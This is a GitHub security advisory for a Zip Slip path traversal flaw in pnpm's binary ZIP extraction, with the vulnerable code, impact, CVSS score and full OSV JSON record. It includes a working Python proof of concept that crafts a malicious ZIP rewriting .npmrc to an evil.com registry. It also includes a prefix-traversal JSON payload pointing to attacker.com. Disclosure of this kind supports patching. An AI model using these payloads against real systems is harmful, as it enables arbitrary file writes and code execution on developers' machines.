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GHSA-6PFH-P556-V868

Vulnerability from github – Published: 2026-01-26 21:02 – Updated: 2026-01-28 16:18
VLAI
Summary
pnpm: Binary ZIP extraction allows arbitrary file write via path traversal (Zip Slip)
Details

Summary

A path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing ../ or absolute paths that escape the extraction root via AdmZip's extractAllTo, and (2) The BinaryResolution.prefix field is concatenated into the extraction path without validation, allowing a crafted prefix like ../../evil to redirect extracted files outside targetDir.

Details

The vulnerability exists in the binary fetching and extraction logic:

1. Unvalidated ZIP Entry Extraction (fetching/binary-fetcher/src/index.ts)

AdmZip's extractAllTo does not validate entry paths for path traversal:

const zip = new AdmZip(buffer)
const nodeDir = basename === '' ? targetDir : path.dirname(targetDir)
const extractedDir = path.join(nodeDir, basename)
zip.extractAllTo(nodeDir, true)  // Entry paths not validated!
await renameOverwrite(extractedDir, targetDir)

A ZIP entry with path ../../../.npmrc will be written outside nodeDir.

2. Unvalidated Prefix in BinaryResolution (resolving/resolver-base/src/index.ts)

The basename variable comes from BinaryResolution.prefix and is used directly in path construction:

const extractedDir = path.join(nodeDir, basename)
// If basename is '../../evil', this points outside nodeDir

PoC

Attack Vector 1: ZIP Entry Path Traversal

import zipfile
import io

zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w') as zf:
    # Normal file
    zf.writestr('node-v20.0.0-linux-x64/bin/node', b'#!/bin/sh\necho "legit node"')
    # Malicious path traversal entry
    zf.writestr('../../../.npmrc', b'registry=https://evil.com/\n')

with open('malicious-node.zip', 'wb') as f:
    f.write(zip_buffer.getvalue())

Attack Vector 2: Prefix Traversal via malicious resolution:

{
  "resolution": {
    "type": "binary",
    "url": "https://attacker.com/node.zip",
    "prefix": "../../PWNED"
  }
}

Impact

  • All pnpm users who install packages with binary assets
  • Users who configure custom Node.js binary locations
  • CI/CD pipelines that auto-install binary dependencies
  • Can overwrite config files, scripts, or other sensitive files leading to RCE

Verified on pnpm main @ commit 5a0ed1d45.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "pnpm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.28.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23888"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-23",
      "CWE-426"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-26T21:02:49Z",
    "nvd_published_at": "2026-01-26T22:15:56Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nA path traversal vulnerability in pnpm\u0027s binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing `../` or absolute paths that escape the extraction root via AdmZip\u0027s `extractAllTo`, and (2) The `BinaryResolution.prefix` field is concatenated into the extraction path without validation, allowing a crafted prefix like `../../evil` to redirect extracted files outside `targetDir`.\n\n### Details\n\nThe vulnerability exists in the binary fetching and extraction logic:\n\n**1. Unvalidated ZIP Entry Extraction (`fetching/binary-fetcher/src/index.ts`)**\n\nAdmZip\u0027s `extractAllTo` does not validate entry paths for path traversal:\n\n```typescript\nconst zip = new AdmZip(buffer)\nconst nodeDir = basename === \u0027\u0027 ? targetDir : path.dirname(targetDir)\nconst extractedDir = path.join(nodeDir, basename)\nzip.extractAllTo(nodeDir, true)  // Entry paths not validated!\nawait renameOverwrite(extractedDir, targetDir)\n```\n\nA ZIP entry with path `../../../.npmrc` will be written outside `nodeDir`.\n\n**2. Unvalidated Prefix in BinaryResolution (`resolving/resolver-base/src/index.ts`)**\n\nThe `basename` variable comes from `BinaryResolution.prefix` and is used directly in path construction:\n\n```typescript\nconst extractedDir = path.join(nodeDir, basename)\n// If basename is \u0027../../evil\u0027, this points outside nodeDir\n```\n\n### PoC\n\n**Attack Vector 1: ZIP Entry Path Traversal**\n\n```python\nimport zipfile\nimport io\n\nzip_buffer = io.BytesIO()\nwith zipfile.ZipFile(zip_buffer, \u0027w\u0027) as zf:\n    # Normal file\n    zf.writestr(\u0027node-v20.0.0-linux-x64/bin/node\u0027, b\u0027#!/bin/sh\\necho \"legit node\"\u0027)\n    # Malicious path traversal entry\n    zf.writestr(\u0027../../../.npmrc\u0027, b\u0027registry=https://evil.com/\\n\u0027)\n\nwith open(\u0027malicious-node.zip\u0027, \u0027wb\u0027) as f:\n    f.write(zip_buffer.getvalue())\n```\n\n**Attack Vector 2: Prefix Traversal via malicious resolution:**\n\n```json\n{\n  \"resolution\": {\n    \"type\": \"binary\",\n    \"url\": \"https://attacker.com/node.zip\",\n    \"prefix\": \"../../PWNED\"\n  }\n}\n```\n\n### Impact\n\n- All pnpm users who install packages with binary assets\n- Users who configure custom Node.js binary locations\n- CI/CD pipelines that auto-install binary dependencies\n- Can overwrite config files, scripts, or other sensitive files leading to RCE\n\nVerified on pnpm main @ commit `5a0ed1d45`.",
  "id": "GHSA-6pfh-p556-v868",
  "modified": "2026-01-28T16:18:11Z",
  "published": "2026-01-26T21:02:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-6pfh-p556-v868"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23888"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/commit/5c382f0ca3b7cc49963b94677426e66539dcb3f5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pnpm/pnpm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/releases/tag/v10.28.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pnpm: Binary ZIP extraction allows arbitrary file write via path traversal (Zip Slip)"
}



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